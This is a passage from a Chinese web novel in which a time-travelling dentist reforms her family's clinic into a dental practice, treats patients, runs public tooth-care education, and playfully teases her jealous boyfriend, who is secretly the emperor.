苏小香觑着孟氏的脸色,附和道:“可不是,哥哥都上门了,她们就该主动将家产交给哥哥打理,好好呆在后院。她们识趣了,娘也好给她家那个独女配个男人。哼,勾男人还嫁不出去,不如找个村里人,少收点聘礼好生过日子呢。也不知道那个女人,有没有本事给人家生个儿子。”
苏东林垂下目光,抬手捏了捏眉间,沉声道:“都别说了,日后你们和苏家人接触,都按我教你们的话一句一句来,多余的,都给我憋在肚子里。苏夫人是个面捏的人,她那个女儿绝不是个善茬,你们别坏了大事。”
他在家是顶梁柱,向来主意正点子多,他爹去世后,孟氏把他看的眼珠子一般,听他发话,自是诺诺。
苏家这边,苏颜妍甩脱不了萧景琮,只得带他回到家中。
苏夫人见状不免忧心,女儿岁数在这儿,又是黄花大闺女,与男子靠的太近,总免不了被人撞见,到时候传出些风言风语,多闹心呢。
可这孩子哪里是听人劝的,她已经与她说过一场,再说下去,还怕她拧着性子更是迎头上呢。
她便按下心中不安,与她另起话头,说起今日来访的苏东林一行人。
苏颜妍听她说完,却问道:“我看他们离开时,娘送他们的表情不见欢喜。他们可是有说些做些惹娘不痛快的事?”
苏夫人奇道:“你怎的一猜就中?东林那孩子倒是不错,他娘和他妹子,与他不似一家人。虽说咱们与他家同村同姓,但你父亲与他们并非一枝。他母亲今日与我说话,娘听了不甚喜欢。你日后遇到她们,不用当成长辈,免得受气。”
苏颜妍闻言笑了:“娘还怕我受气?我只有让别人生气的,别人气不到我。娘不喜欢她们,我嘱咐门房不许她们来见你。”
苏夫人摇头:“到底沾亲带故,不好这样。娘心里有数,你不用顾着娘。倒是你,怎么又做了男装打扮?又出门去干什么了,今天日头这样热,你小心别中暑。”
“我省得,中午那会儿,我躲在酒楼吃席呢,一点也没晒着。医馆改革我已经定下章程,这次出门调研,回来就能放手做事了。娘也不用担心我,我会照顾好自己的。”苏颜妍说着顿了顿,继续道:“我也不是一个人,仲景陪着我呢。”
当今陛下呢,有他在身边,天王老子来了都得靠边站,牛鬼蛇神更是沾不到边。
苏夫人嗔道:“你这孩子!”
她转头看萧景琮在那里连连点头,不由哂笑:真是一对冤家,一个愿打,一个愿挨。也算是天造地设的一对人儿了。
31. 小作精上线
清晨,回春堂。
萧景琮正搬着一整块木板,听苏颜妍的指挥,摆放在医馆门口。
木板刷了白漆,上书八个大字:爱护牙齿,人人有责。
正是萧景琮的墨宝。
应苏颜妍的要求写的。
经过一系列准备,回春堂现在终于按苏颜妍的规划,分成两处。
临近地段的屋舍由萧景琮主动提供支援,安置了李真李善兄妹俩。
苏父曾经擅长的、当今所有医馆都流行的中医诊治,就由他们负责管理。
苏颜妍同岐黄谷谈好了合作协议,支持他们所有适合出门实践的大夫们,来这里行医。当然,萧景琮提供了不可替代的重要作用:威慑、靠山、背景。
岐黄谷同意了。
如今,这边算是汇集了各种有真本事的大夫们。苏颜妍达成了苏父自己都办不到的事,造福一方百姓。
回春堂位置特殊,与苏宅接连一体,苏颜妍就按自己的想法,将它当成了自己的大本营,设立成专门的口腔门诊。
现如今,正好把宣传语摆出去,让这些生病硬挨且科学预防概念基本为零的人们,将新的观点理念植入到脑子里。
宣传标语原本想写在墙上的,然后她被告知,下雨天会把字冲刷掉。
苏颜妍:怀念防水漆。
怪不得外边广告大都是招幡,风吹招摇,很是惹眼。
医馆顺顺利利按她的想法落实改完,苏颜妍免不了开心快乐。
事业有成的感觉真好,按自己规划的实现,成就感如同劲辣带爽的火锅,吃一口,活血上头。
算上她在现代的梦想,到如今实现了大半,牙科医生的工作是她终身的追求,她现在正走在这条路上。
她如同一粒种子,扎根大地,冲破黑暗,拥抱阳光雨露,成长,伸展枝条。
只要她一直坚持,成功就像这棵植物开花、结果一样自然。
这当然是值得开心快乐的事呢。
事业顺利,情感相比起来,是不是需要一点点刺激呢?苏颜妍看着萧景琮摆着标语板子乐呵呵的样子,暗戳戳准备搞点事情。
之前忙着改革医馆,让这家伙稀里糊涂蒙混过关,没来得及收拾他,现在有时间,不作一把,怎么对得起她自己的小小坏心眼呢?
萧景琮放好木板架,擦拭干净双手,忽的浑身一颤:“奇怪,怎么突然感觉毛毛的。”
他嘟囔一句,凑了过来,问道:“还有其他要忙的事情吗?趁我还在,咱们赶紧继续。”
苏颜妍捏着香帕给他擦额头的汗,笑眯眯道:“都忙完啦,辛苦你了。日后医馆就按规划的章程行事,不会像现在这样忙哒。唉,一下子闲下来,还有些无所适从呢。我记得我娘以前给我留了好几个适龄男青年,家境人物都不错。或许,我该和这几个高富帅相处一番,看看能不能合眼缘,交个朋友,嗯…走上人生巅峰?”
萧景琮慢吞吞学着她说道:“相处…看看…交个朋友?”
他眼睛微微眯起,没有低头,只用眼睛垂下视线,盯着苏颜妍,将她一脸狡黠挑衅的笑收在眼中。
苏颜妍心中小恶魔般吐了吐舌头:可怕,额头青筋都蹦出来了,萧景琮不会气疯了吧?
萧景琮却没有像她想象中那样大吵大闹、撒娇卖痴。
这位仁兄只听到时僵直一瞬,然后就很是不动声色地稳住了,直到离开也没有过激表现。
苏颜妍心中奇怪,她认识的萧景琮可不是这种性子。本来想气气他逗逗他来着,一拳打到棉花上、没作成功还有点小遗憾呢。
晚上,她悠悠哉哉躺在房中纳凉消暑,把心中小小的遗憾抛开,赴向周公安逸的约。
隔天,她就与“闲”这个字拜拜了。大清早,医馆就来人找她,有患者上门求医了。
“找我?什么症状?确定不是归李真他们管?”苏颜妍惊讶询问道,毕竟医馆刚改革,这时代的人基本没有单独看牙医的意识,她还以为要推广许久才能让大家了解她的职业呢。
来通传的是她改革医馆后新到的小学徒,他连声道:“小桃姑娘已经帮那位患者初步查看了,确定是牙齿坏了,说这叫…龋齿?”
啊,还真是。
苏颜妍换上医用白袍,赶往医馆。一路上,小学徒已经把患者的初步情况一一讲与她听:
这位求医的患者是位走南闯北的商人,做的是糖茶生意。平日牙齿食用冷热食物就会疼痛,过了一段时间,这疼痛剧烈起来,属实难以忍耐。
苏颜妍心道:沾了糖茶,这位也是有背景靠山的,平日吃的绝对不缺糖分。吃完甜食,又没有刷牙预防的概念,龋齿出现多么顺理成章。
到了医馆一看,果然,磨牙沟线已经变黑,幸运的是,他的牙齿龋坏仅限于牙表层,顶多到了牙本质浅层,平日才会冷热酸甜刺激疼痛。要是发展成深龋,那可麻烦了。
她确诊完毕,将诊疗过程原原本本讲解给小桃听,利落动手去除刺激,给予镇痛消炎药包。
考虑到患者职业可能要外出,她还贴心给他开了一些中草药牙膏,搭配牙刷一起,嘱咐他注意日常预防。
商人千恩万谢地走了。
苏颜妍擦去额上的汗水,与小桃相视一笑。
身体忙碌,精神充实,用自己的知识救治患者,成就感是成倍的快乐。
显然,小桃已经乐在其中。
苏颜妍忙了一天,身心俱疲。与她的劳心劳力不同,陪着她在医馆的萧景琮显得清闲又自由。
苏颜妍上次没逗到他,心中总憋着一口气,现在尤其看不惯他优哉游哉的样子。
她手痒痒心痒痒,于是又一次挑衅他道:“哎呀,忙完今天,可算是有时间休息一下啦。要不要明天约人一起出去玩啊?”
萧景琮依旧云淡风轻:“今日忙了一天还不累吗?你先好好睡一觉,再想明天罢。”
“哼,装模作样。”苏颜妍凑到他耳侧,吐气如兰:“那我明天出门找人玩,你不许摆脸色哦。”
萧景琮不语,只莫测高深地看了她一眼,将她送回家。
隔天,大清早,苏颜妍又被小学徒火急火燎喊到医馆。
今日求诊的是位老人家,衣衫上易磨损的地方都打着显眼的补丁,显然是辛劳的农家人。若不是牙疼得厉害,这位一生节俭的勤恳老人是绝不肯进城找医生的。
牙疼不是病,疼起来真要命,老话可不是说
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笑的。
苏颜妍下定决心当牙医,就是当年小小的她贪吃糖果,尝到了牙疼的苦。那种捂着腮帮子哎呦哎呦的经历,给小小的她在心中刻下了不可磨灭的阴影。
她的初心一直都是想要帮人们远离牙痛困扰,看着眼前这位疼痛难忍的老人,她忙碌一天的疲劳消失无踪,全心全力投入到工作中。
小桃陪在她身边,一直是一位合格的助手。
她见苏颜妍一刻都不停地忙碌,很是担心地说道:“苏姑娘,我顶一会儿,你歇一歇吧。”
昨儿就忙一天了,今天这位又是她没遇见过的病症。
她处理不来,苏姑娘就只能亲自动手,一一教会她。
苏颜妍利落给患者涂上消肿的药物,对小桃道:“这位老人家是牙龈发炎,我已经帮他清理消毒、敷上专用药粉了。他这种病症不能只依赖外科,还要内服消炎药。炎症不消,牙龈会反复引发神经痛,老人家受不住的。”
小桃认真听她说完,问道:“那我去找李医师开些药包?我记得咱们备下的成品合剂里有镇痛、消肿的,没有消炎的。”
苏颜妍点头,补充:“不需要开具药方合剂,找那种煮水泡水就有效果的草药。”
“我知道。”小桃明白她是想为患者省银钱,这位老人家明显是比较拮据的,比不得昨日那位商人财大气粗,用药肯定要以平价替代为主。
这些都是苏颜妍早就教给小桃的,以患者为主,不仅要生理上治愈病患,还要在心理、精神上,保护他们。
待小桃带回李大夫给的药材,苏颜妍已经细细将检查、治疗的注意事项和老人说清楚了,她将药草给老人,隐隐嘱咐道:“您看这药草,用的都是有效又实惠的。您别怕会花太多钱不舍得吃,这药啊,您在自己村边地头都能找到呢,炮制好后一样有用。”
老人家自是一番没口子夸赞,千恩万谢走了。
苏颜妍送走老人,一头扎在软榻上。
小桃笑出声:“苏姑娘是累坏了吧,您医馆改革后,果然有用,有牙痛的患者一打听,直接奔着您来了。这两天,您真是一刻也不得闲。仲景公子一直陪着您,我去找他,让他过来继续陪着您?”
苏颜妍揉揉自己酸痛的肩膀,只觉得疲累如同堆积在她头上的雪,一层层压下来。
她努力凹出优雅恣意的形象,在有限的时间里继续逗逗男朋友。
萧景琮进门就见她龇牙咧嘴揉肩搓臂的模样,眼中挂上心疼。
可不待他开口,苏颜妍就挑眉坏笑着,继续那个戳爆他醋坛子的话题:“呀,可算是忙完了,这次一定要成功出去见个人。听说看到美人,再累都会神清气爽耶,我一定要试试是不是真的。”
萧景琮眉头跳跳,目光如水,沉沉浸在她身上,半晌,下巴抬起,对着她勾唇一笑。
苏颜妍如同被冷气吹了似的,抖了一下汗毛。
噫,怎么还能笑出来啊?
喵喵喵?难道逗得过火,把他气得触底反弹啦?
阿米豆腐,罪过罪过。
可是,谁教他是她的男朋友呢?她就要作就要作,不报他隐瞒之仇,这口气她咽不下去!
继续接招吧,男朋友!
32. 我认栽
苏夫人已经三天没见着苏颜妍了,这天一早又没看到人,忍不住到回春堂去找,还没进门就听到小孩子断断续续的哭声。
擅长儿科的李善大夫不是搬到新诊所了吗?怎么这边来了小娃儿?
苏夫人听女儿说过医馆改革的事,也知道回春堂现在专治牙科,带着满腹疑惑寻着哭声一看,她不由停下脚步。
苏颜妍双袖挽起,正给一位小娃娃看牙齿。
小娃儿约摸四五岁,梳着两个小揪揪,可能因为疼痛或恐惧,抽抽噎噎哭着,一双眼睛挂着泪包。
抱着小娃的妇人满脸紧张,时不时要停下哄一哄孩子,急的头发都被汗水浸透。
苏夫人招呼小桃过来,小声询问:“这是怎么回事?这么小的娃儿也得了牙疾?”
小桃跟着苏颜妍一起接诊这一带二,闻言忍不住了:“夫人,他们找过李大夫啦,孩子小喝不进苦药,好容易吃完,过一段时间又反复。李大夫说病灶还在,不去除喝药也是治标不治本哩。他们夫妻俩带着孩子,一大早就等在门口,专门找苏姑娘呢。”
“苏姑娘说,这个娃娃牙龈鼓包,正会儿在查是牙根发炎还是牙周发炎呢。小娃儿一直哭闹,诊治起来比给大人麻烦多啦。“小桃苦着脸:”还是苏姑娘懂得多,她比那俩当爹妈的都会哄小娃呢。就是小家伙的牙龈一碰就痛,一痛他就又哭,我在旁边头都大了呢。“
苏夫人心疼地看着苏颜妍,她头发为了方便,全数盘进头巾里,蒙着白布面罩挡住口鼻,只露出一双眼睛,亮亮的,满眼都是那个小小病患。
不论是谁来看,哪怕是一位不懂医术的普通人,都会知道苏颜妍此刻有多么用心与专注。她是那样全神贯注沉浸,热爱如同一束辉光,把她变成一团炽热的火,烧尽牙疾引起的苦痛焦灼。
苏夫人看着她,想起丈夫,百感交集,险些落下泪来。
她赶紧嘱托小桃去帮忙,自己悄悄出去,打算找个隔间等上一等。
她脚步轻,进入隔间时还是被吓了一跳。
萧景琮在里面静静坐着,桌上一盏冰镇梅子汤,冷气团团,衬得他整个人的气场都沉郁幽冷。
印象中,他似乎总在苏颜妍身边一副柔软温雅的模样。乍一看到人后这样,苏夫人一下子想起白延琅,苏父在时也谦恭礼让,苏父失踪后,他的虚伪嘴脸成为苏夫人心头的梦魇。
她捏紧手帕,明明是三伏炎夏,她却仿佛掉进冰窟,冷得发抖。
萧景琮听到门开声,以为是暗卫,没有在意,只执起冰盏消除躁郁气。
他连续三天没休息好,今早又被就诊的小孩哭闹声吵到,一时头痛欲裂,恨不得把人捂住嘴拖出去处理了。
一时想起这些人还是他吩咐手下搜罗安排来回春堂的,又暗暗生起闷气。
苏颜妍,这个磨人的小妖女。骗她一次,真是记仇,就非要让他不痛快么?
他在她身边帮她,有求必应,送钱送人,她一朝用完就打算把他抛一边?空闲时间人约黄昏后,是想把他气死重新找别人当男朋友吗?妄想!
可是她真的忙起来,心思全都在问诊的病人身上。看她注意力半点没分给自己,他又开始生气。
如若他的心住着一头野兽,现在它如困牢笼,进退两难,只好烦躁吼叫,越来越难控制那股破坏欲。
他越想越气,重重将冰盏往桌上一撂,咔哒一声,冰盏坚强地挺住没有碎,门边的苏夫人悬着的心碎了。
萧景琮凌厉视线如箭如刀,刺的人生疼。
苏夫人一下子被吓得僵住,她靠着门扉,支撑自己没有倒下。
天,苏颜妍这是找了个什么煞星谈对象!
“娘,你什么时候来了,怎么呆在门口不进去坐着等我?”苏颜妍擦着汗,从诊室出来,正看到苏夫人靠在隔间门边。她会诊时太专注,没注意苏夫人来过。待她查明小患者的病因,后续小桃已经可以接手处理,她就暂时出来,打算去隔壁喝点水歇歇。
萧景琮听见苏颜妍的声音,周身戾气如冰消融,他走到门边,对苏夫人颔首致意,接口回答道:“我一早就在隔间等你了,你娘准时没想到我在里面,开门见到我就没进来。”
“哦?”苏颜妍疑惑,是这样吗?
苏夫人没有反驳萧景琮,苏颜妍也就没有深究,她真是太累了。
见她精神萎靡,如同被烈日晒蔫了的禾苗,苏夫人心疼极了:“一连忙了这许多天,还能撑得住吗?娘都三天没见着你了,好孩子,你行医治病是好事,但也要注意自己的身体。娘中午做你喜欢吃的糖醋鱼,亲自下厨,记得回家吃。”
“还要银耳莲子汤。”苏颜妍笑吟吟地应道。
“好好好!”苏夫人慈祥地拍拍她,“娘这就回去给你做。”
苏夫人瞥了萧景琮一眼,欲言又止,将叹息咽下不表,打算中午再与女儿说说小话。
笑眯眯送走苏夫人,苏颜妍瞬间垮下脸。她骨头化了似得,丧丧地趴坐在隔间胡椅上。
抄手拿起萧景琮带来的冰镇梅子汤,咕嘟咕嘟牛饮几杯。冰凉的汤水酸酸甜甜,她终于感受到久违的舒适,烦躁顿消。
萧景琮见她猫一样蜷在桌前,心中刺刺麻麻的难受,说出来的话却硬硬的:“这样累,就不要再想着去找哪家公子少爷,多在家歇歇吧。”
“啊呀呀呀!”苏颜妍用头抵着桌面,手握成拳哐哐捶打,恨不得这些拳头落在这个可恶的男人身上:“萧景琮,你是不是故意的?!我随口说要出门交朋友,又没真去,你至于在我这么累的时候,专门嘲笑我吗?”
萧景琮的语气依旧僵硬:“没有嘲笑你。如果明日你不忙,要出去吗?”
苏颜妍瞪他:“如果我还要去相亲呢?”
“那医馆明日,可能还会有患者上门求医,非你不可。”萧景琮绷着脸道。
如果她贼心不改,全景朝各种牙疾患者,他挨个安排来堵她。
苏颜妍磨牙:“好好好,算你狠!我认栽,不去了行了吧?”
嘤嘤嘤,太累了,不想再爱了TAT!
毁灭吧,世界!
叛逆猫猫已经投降,萧景琮乖觉地上前给她揉肩捏背、端茶递水。
小意温柔起来,把苏颜妍哄得眉开眼笑,一时舒服的想要喵喵叫。
身体舒服、疲累消退,她旺盛的好奇心又升腾起来:“你打哪儿找来这么些患者?这几天你一直没离开,手下能人辈出啊。”
萧景琮微微一笑:“秘密。”
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“可恶啊!”苏颜妍扯过他的手,啊呜一声作势狠狠咬向他手腕,落到肌肤上的却不是牙齿,而是软软热热的唇。
萧景琮感受到那软那热,心变成大海中遭遇暴风雨的船,半分都不由自主,只能随着飓风扬起的波浪,奉上全部,逐流。
她即暴风雨。
苏颜妍浑然不觉,她印象里的情侣们,甜甜蜜蜜接触多了去了。她家这位男朋友,可能是古人的原因?古板羞涩的紧,逗一逗都不晓得反过来主动的。但这样子恰恰戳中她的心呢。
她继续捏捏揉揉,玩得不亦乐乎,嘴上还要不依不饶地嘟囔抱怨:“萧景琮,大木头!”
撒娇地声音甜如蜜,欢喜的情盈满眼。有情人视线相撞,心湖涟漪一圈一圈,波纹相遇,相撞,融成一片。
……
“金大腿,再吻我,我的唇就要肿的出不了门啦。”
“那就不出门。”
“不要,定的还有科普宣传呢。”
“我手下,能人辈出……嗯!”萧景琮摸摸被打的头,哀怨地控诉:“真是放肆,就算你是我的女朋友,也不能打天子啊。”
“补偿一个亲亲。”
“成交!”
……
萧景琮不舍地抱着苏颜妍,压低声线小声道:“为什么一定回家吃饭,我府上有御厨,精通各种菜式,你和我一起去尝尝?”
一根纤细修长的手指抵在他唇上,封印住他的声音。
苏颜妍笑盈盈拒绝:“我娘专门来找我回家,下次陪你,乖哦。”
一双大手禁锢住眼前的佳人,被封印的唇主人歪头,抿着嘴隔着皮肉轻轻叼咬那根白嫩手指,鼻息热气扑在手上,烫进心上。
“那我等你,女朋友。”他说。
“我会一直等你,女朋友。”他又说。
“好呀,男朋友。”她说。
“再见,景琮宝贝。”她说,眼神温柔似水。
苏颜妍回到苏宅,嘴角的笑就一直没掉下来。
事业成功让人心情愉悦,合拍的恋人让她甜蜜快乐。家里还有关心爱护她的家人,为她精心准备了喜欢的饭菜。人生啊,美好!
“娘,我回来了。”苏颜妍脚步轻盈,跳跃的音符似的,落在夏日阳光中。
苏夫人早就张罗好丰盛的午餐,摆了满满当当一桌子,还贴心地备了一盏果酿圆子,那曾经是小苏颜妍的最爱。
“快来坐下,这会儿热不热?娘给你备了冰盆,放在身边也好消暑。睡觉时可不能用,免得不小心受了凉,伤了身体。先喝口汤,尝尝娘的手艺,是不是记忆里的那个味道?”
“好,都听娘的。”苏颜妍拿起汤匙,舀起一勺,送入口中,细细品味,眼睛一亮夸赞道:“嗯,好吃!”
苏夫人好手艺。
苏夫人笑得更开心了,给苏颜妍不住布菜:“看你和往常一样喜欢,娘心里真是欢喜。娘身体好多了,日后给你多做些爱吃的,咱们妍娘,现在是家里的顶梁柱喽。”
“嗯嗯!”苏颜妍被她投喂,嘴里塞满食物,闻言连连点头表示支持。
苏夫人待她吃了个七八分饱,微微叹了口气:“妍娘,吃完咱们谈谈那个仲景吧,娘觉得这个人,不太好。”
33. 爱的囚徒
苏夫人居然不喜欢萧景琮?稀奇。
苏颜妍惊诧问道:“娘,为什么这样说?可是他上午那会儿做了什么惹娘不高兴的事?”
她记得那会儿苏夫人靠在包厢门边神情有异,难道萧景琮和她起冲突了?
神奇男人,刚骗完女朋友就开始招惹丈母娘,高手。
苏颜妍拜服。
苏夫人将她心中的担忧全数吐露:“妍娘,这位仲景外表人物没的说,一等一的俊秀。娘这辈子也没见过比他更贵气的男子,他养出这样的气质,家境是不是比咱们家好许多?”
苏颜妍点点头。
皇帝呢,集全天下顶尖资源供养一人,她家小门小户,比不了比不了。
苏夫人轻叹:“都说嫁娶门当户对,怕就怕这样的人物,咱们硬要攀附,得吃许多苦头,才能攀得住。妍娘,你哪里是肯弯腰的性子,何必硬去吃这个苦。这会儿你们感情好,他肯屈就,自是你侬我侬。可万一日久天长,感情淡去,他一朝反目,你待如何?”
苏颜妍皱眉:“君既无心我便休,感情不好,分了就是。娘,你看到他和别人乱搞了?”
苏夫人这会儿愁的是自家闺女了:“你这孩子,嘴上真是没个把门的。什么话都往外说!娘以为你非他不可,才同他日日厮混、形影不离的。你若与他感情并不坚定,成日一起干什么,平白惹人口舌。”
“是娘先说他变心,我才说会放手的啊。”苏颜妍满不在乎,催促道:“娘快说为什么担心,你发现他哪里不妥当?快给我说说。”
苏夫人点点她,捂着胸口坐靠椅背说道:“上午那会儿,我去寻你,你正忙着给那个小娃儿看诊。娘想着,去隔间等你,推开门,就看见他…唉…他那种冷肃漠然的模样,比寒冬的冰雕都凉。娘与他没见过几次面,也不了解他平日的性情。但他在你面前,与他背着你时,判若两人。”
苏颜妍了然:“娘怕他瞒我骗我,怕我知道他真面目会受伤害?”
苏夫人叹息:“当年白延琅也是这样,你父亲在时,他是何等良善守礼,不然他何以在医馆十年。可你父亲一失踪,他即刻变了一副嘴脸,我与你父亲对他的情分,他半分恩义都不念。娘被这种双面人吓怕了,一想到将来你遇到,心口就像压了一块巨石。妍娘,娘只盼你顺遂如意。”
自家的女儿,有情投意合的人,固然很好;可若这个人有可能伤害到她,当娘的宁愿现在当个恶人。
士之耽兮,犹可说也。女之耽兮,不可说也。
苏颜妍沉默,她万分理解苏夫人一片殷殷爱子之心。
她知道萧景琮的身份后,也曾动摇过。可是,为将来不曾发生的事情斩断现在一切安好的关系,不符合她的行事准则。
她不觉得萧景琮是难以攀援的高门,她贪恋的恰巧是他身上的自由与平等的感觉。
上对下、下对上,都不是一段好的开始。他们俩,心灵都是独立自由的,恰好平衡,完美的如同天造地设。
苏颜妍宽慰道:“娘,我继承医馆以来,他助我良多。每个人都有不同的面孔示人,我对娘和对旁人,态度也不一样啊。看人好坏,我还是能看得清楚的,白延琅在我手里,可没讨着好呢。以后的事情,我不会惧怕,你也不要过度忧心。”
“好,娘不逼你。”苏夫人荏弱却不糊涂,苏颜妍一开口,她就听明白她的意思了。这孩子打心底里就没想过放弃那个仲景呢,嘴再硬,也改变不了,人家在她心中已有一席之地。
听听她的假设,从不曾假设现在就果断离开,她还能再说什么?
孩子不想断就先处着吧,但是日后成亲的人选,她也可以继续帮女儿相看留意。
万一这是段孽缘,她的女儿,也有后路可以退。
苏夫人上次经历钱婆子的事,对主动上门的媒人心有顾忌。她不敢找人来苏宅,撑着口气亲自外出,这家坐坐、那家说说,倒也重拾交际,熟悉了不少最近搬来的人家。
苏颜妍没拘束她,由着她多出去走走逛逛,免得在家胡思乱想,闷出病来。
她自己也没闲着,召集回春堂众人,开了个安排科普的小会,定好要下个阶段的主要目标。
“这次的难点,面向的是普通百姓。他们大多不识字,也不懂得科学知识。牙齿坏了,就以为自己做了什么得罪某某神怪。这是封建迷信,需要让他们知道,牙齿并不是被惩罚才坏掉的,口腔里有人眼看不到的细菌微生物,清洁跟不上,就会容易蛀牙。”
小桃在下面踊跃发言:“苏姑娘,可以给他们画画,指着画给他们讲解,他们能记得很清楚,我就是这样的哩。”
“小桃的提议很有用,采纳!”
得到苏颜妍肯定,小桃眼眯起眼睛笑出牙齿,白白的,可以当牙代表啦。
萧景琮目光灼灼,紧紧黏着苏颜妍。当她下了一个决定,他就马上传指令让人去安排,片刻不歇完成。
待到小会结束,苏颜妍想要的都准备齐全,离出发就只差她本人走出去。
萧景琮下巴微昂,任谁都能看出他此刻的得意。
小桃捂着嘴冲苏颜妍揶揄笑着眨眼,会心地出去,将空间留给他们。
苏颜妍食指挑起萧景琮的前襟褙带,钩缠几圈收紧,他们之间的距离就随着这条褙带缩短,靠近,直到凑到一起,呼吸相闻。
她带着笑的话就像泡泡一样从嘴边吐出,带着她独有的气息,如麝如兰:“小哥哥,你怎么这样贴心啊。和你一起好开心好开心。我们景琮哥哥真的好棒哦。“
她故意贴近他红得像要滴血的耳边,小恶魔一样使坏吹了口气,满意地看着那弥漫的血色耳垂,热度升高要冒出烟来。
萧景琮头也昏昏、眼也昏昏,成了她手中的那根随她勾缠拉扯的褙带。
每当他觉得能展示自己可靠稳重的时刻,她一个笑,一声吐息,都能让他的准备土崩瓦解。
认栽吧,萧景琮,一颗种子,拒绝不了春天。
他依从季节女神的指令,生长、开花,献上盛放的臣服。
……
夏日是一个不适合外出的季节。
苏颜妍靠在冰盆边,手上的小扇子不住的摇。她一手撩开车帘,被外面的暑气糊了一脸,狼狈地合上挡住热气。
萧景琮从冰桶中捞出一方棉帕,拧干水展开叠成小方块,替她拭去额头的汗。方
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巾的凉意消解了苏颜妍心中的燥气,她唇间溢出舒适的喟叹,闭上眼睛感受凉意从额头滑到眼,又从眼移到颈。
贤惠的男人最得人心,最起码,得她的心。
她保持闭着眼,一边享受他贴心的照顾,一边顺着他执着方巾的手,描摹着对方俊朗的五官。
对方动作不停,她的手也不停,从饱满的额头到锋锐的眉眼,浓密的睫毛如小小的刷子,刷过她的手心,痒痒的。她也顺从心意笑出来,顺手捏捏对方软软热热的脸。
睁开眼睛,他的目光柔情似水,里面只有一道影子,满满都是她的样子。
苏颜妍被他囚在眸中,她知道,他也一样,同是爱的囚徒。
萧景琮亲亲她,低声说道:“等到了你定的地方,需要协助时,要找我。”
苏颜妍五指嵌入他微凉的手心,应道:“好,我需要时,只找你,只要你。科普展图还是你亲自画的,每个知识点,都是你一字一字写出来的。你这样重要,我现在可离不开你呢。”
萧景琮眼神亮亮,他喜欢她全神贯注看着他的样子,喜欢她夸他赞他,说离不开他。
他同样为她着迷:“我都是按照你之前的手稿制作的,你总结的那些小知识,特别通俗易懂。画的图也很精妙,你在牙科上的天赋,真是令人赞叹。你巧妙的将这些知识展示在图画上宣传,让更多的人知道这些珍贵的知识,称得上一句仁善。”
对比其他医馆恨不得连学徒都防着,有点技术就当成绝学秘方敝帚自珍不肯示人,苏颜妍堪称圣人。
就连医术界北斗岐黄谷,进入学习也是有门槛的。
知识宝贵,苏颜妍大方到主动分享,萧景琮就算不认识她,听到这种行事都要赞一句的。
苏颜妍脸红,她学的就是一心为人民服务,科普知识也没当成什么珍贵东西,只觉得寻常。
现在被萧景琮一夸,把她整个提升了一个层次,真是太让她惭愧了。
为了不负他盛情的夸奖,接下来的宣传科普,苏颜妍拿出百分之二百的热忱,给这些或许蒙昧但如饥似渴向往知识摄入知识的人们,讲解牙科的秘密。
“一个人的牙齿,从萌生到掉落,不是哪位神仙施法,是每个人基因里自带的。老人家也别总说人老掉牙,以为是正常的。咱们大家都要养成好习惯,这样牙齿才能陪我们更久……”
苏颜妍说起自己的本科知识,那叫一个神采飞扬,绘声绘色。
越来越多的百姓聚拢来,静静听着她,说着一些叫他们惊奇又直呼有道理的知识。
他们站在科普展图边,看着传神的牙齿图画,他们不识字,也能从方格小图中明白,牙齿的构造,牙齿生病与治疗的过程。
苏颜妍说到兴起,还给他们真人讲解,萧景琮主动充当教具模特,被她抱着头,露出洁白的牙齿展示。
人群中时不时就传出一阵“哦~原来是这样”的惊呼。
很久很久以后,苏颜妍科普宣传这些知识,都被当地的百姓们口口相传,记在心里。
一同留传的,还有她和萧景琮志同道合凤协鸾和的美妙爱情故事。
总之,这次科普,大圆满!
34. 信物和醋桶
“苏姑娘,你讲的好厉害!我在旁边,看大家听得都入迷了呢。收展台时好多好多乡亲都在问你下次什么时候出来宣传,在哪里他们还想去听呢。”小桃兴奋地叽叽喳喳,围着苏颜妍转来转去。
萧景琮如同守护宝藏的恶龙,满眼都是他的珍宝,并反感警惕靠近的一切。他个子高,挡着小桃碰触苏颜妍。
小桃转圈,他也转圈,这俩人就像小行星围着太阳转,成功把苏颜妍逗的哭笑不得。
“仲景,你拦小桃做什么?她只是过来和我说说话而已啊。”
“说话就说话,离得远点就能说。”
“哇啊啊啊啊我就要靠着苏姑娘说话,你这个小气醋桶快走开——”
萧景琮居高临下投过蔑视的光,他一把抱起苏颜妍,向上一托将她扛到肩膀,拔腿就跑。
苏颜妍惊呼一声,吓得紧紧搂抱住他的脖颈,贴在他身上。
身后,小桃气的跳脚,大声喊:“把苏姑娘还回来!”
萧景琮理也不理,只扛抱着她狂奔,跑动间的风,颠簸中的颤,交缠的长发,炽热的贴近跳动的心。
苏颜妍畅快大笑,笑声点燃奔跑的人,烧出印记,刻进记忆,成为难忘的回忆。
到了城中,两人并肩,徐徐前行。
苏颜妍偏头看着萧景琮说道:“小桃是个好姑娘,你少针对她,知道吗大醋桶?”
萧景琮昂首向前,故意不去看她,哼出一个不满的鼻音。
“说,知道了。”苏颜妍用肩膀撞他一下。
“后面有暗卫,他们会带她回来。”萧景琮冷硬的说着,声音逐渐带上委屈不满:“你关注她,比我都多。对她说话,还笑。她能帮你做的事我也能做,不要管她,多看看我。”
“我打算收她当徒弟,怎么,你也打算拜我为师?”苏颜妍逗他:“叫声师父听听,乖徒儿,师父疼你。”
“你总这样,不要胡说。”萧景琮左右看看,不自在地摸摸耳垂。
过了一会儿,他又问:“她只是个农家女,岁数也不小,你想培养接班人不如直接教年幼的。我可以给你找合适的人选,你教她,她学的明白吗?”
苏颜妍收了笑。
萧景琮马上改口:“医馆是你的,医术也是你的。你想教就教,我只是提出我的建议,做决定的是你,我不会强迫你。”
他拉住苏颜妍,用食指压在她唇角,手动把她的嘴向上提起,在她脸上摆出一个笑。
“所以,不许生气,不许对我冷着脸,不许因为外人给我摆架子。对我笑。”
苏颜妍给了他一拳,正中腹部,看他捂着小腹含怒带怨,她才继续笑盈盈:“好,原谅你。我刚才可没有生气,小桃是我认识的最适合的人,不应该因为年纪或者出身来否认她。她足够努力,也足够热爱,我愿意帮她一把,让她有比成亲嫁人更好的选择。”
萧景琮怔怔地问:“那你呢?你不想嫁给我吗?”
“那要看,萧公子够不够努力啦?”苏颜妍眉眼弯弯,道:“嗯,如果他一直保持这样好的品行,哪个女孩子会拒绝这样一个良人呢?”
足够多的尊重,足够多的信任,足够多的支持……能一直被这样守护着,一直到岁月尽头,她自然不会拒绝呀。
萧景琮又开始原地石化,拉着苏颜妍的袖子动也不动,鹦鹉似的重复:“努力,努力…”
